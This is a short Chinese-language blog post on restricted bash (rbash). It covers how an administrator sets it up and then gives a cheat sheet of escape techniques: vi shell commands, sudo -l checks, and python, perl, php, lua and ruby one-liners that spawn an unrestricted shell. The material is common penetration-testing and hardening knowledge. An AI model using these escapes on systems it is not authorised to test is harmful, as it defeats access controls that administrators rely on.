rbash绕过及提权

一、rbash介绍

rbash是Restricted bash缩写,即受限制的bash。

管理员可通过指定普通用户的bash为rbash,以此来限制相关操作。

在rbash中,很多行为和命令都会被受到限制。

确切说不属于提权,只是绕过rbash的限制,因为绕过后身份依旧是当前的普通账户。

二、设置bash限制

1,复制一个bash,重命名为rbash

        cp  /bin/bash  /bin/rbash

2,设置用户tom登陆的shell为rbash

        useradd -s  /bin/rbash  tom

3,  在tom用户下新建一个.bin目录存放可以执行的命令

        mkdir -p  /home/tom/.bin

4,  通过软连接执行命令

        ln -s  /bin/clear  /home/$tom/.bin/clear

5,  编辑文件/home/$tom/.bashrc,添加export PATH=$HOME/.bin/.
文件一定要以# .bashrc为首行.

三、绕过rbash限制

1.检查可使用的命令,比如:cat/cd/su/sudo/vim/vi等;

写入脚本 vi  xxx.txt 然后 :set shell=/bin/bash或者 :set shell=/bin/sh

2.检查可用操作符,比如:<>/\|!@#$%^&*等;

直接输入 /bin/sh 或者/bin/bash

3.root身份可以运行的命令:sudo -l;

查看 哪个运行命令是root权限

4.检查shell:echo $SHELL;

# vim/vi进入之后
:set shell=/bin/sh # 或者用/bin/bash
:shell
 
# 切换完成之后还要添加环境变量。给$PATH变量增加两个路径,用来查找命令
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

5.检查可用的编程语言:java,python,php,ruby,perl等;

python
python -c "import os;os.system('/bin/bash')"
或者
python -c "import pty;pty.spawn('/bin/bash')"
php
php -a then exec("sh -i")
perl
perl -e "exec '/bin/sh';"
lua
os.execute('/bin/sh')
ruby
exec "/bin/sh"

6.检查环境变量:运行env或者printenv.
# 利用bash_cmds自定义一个shell
BASH_CMDS[a]=/bin/sh;a
 
# 添加环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值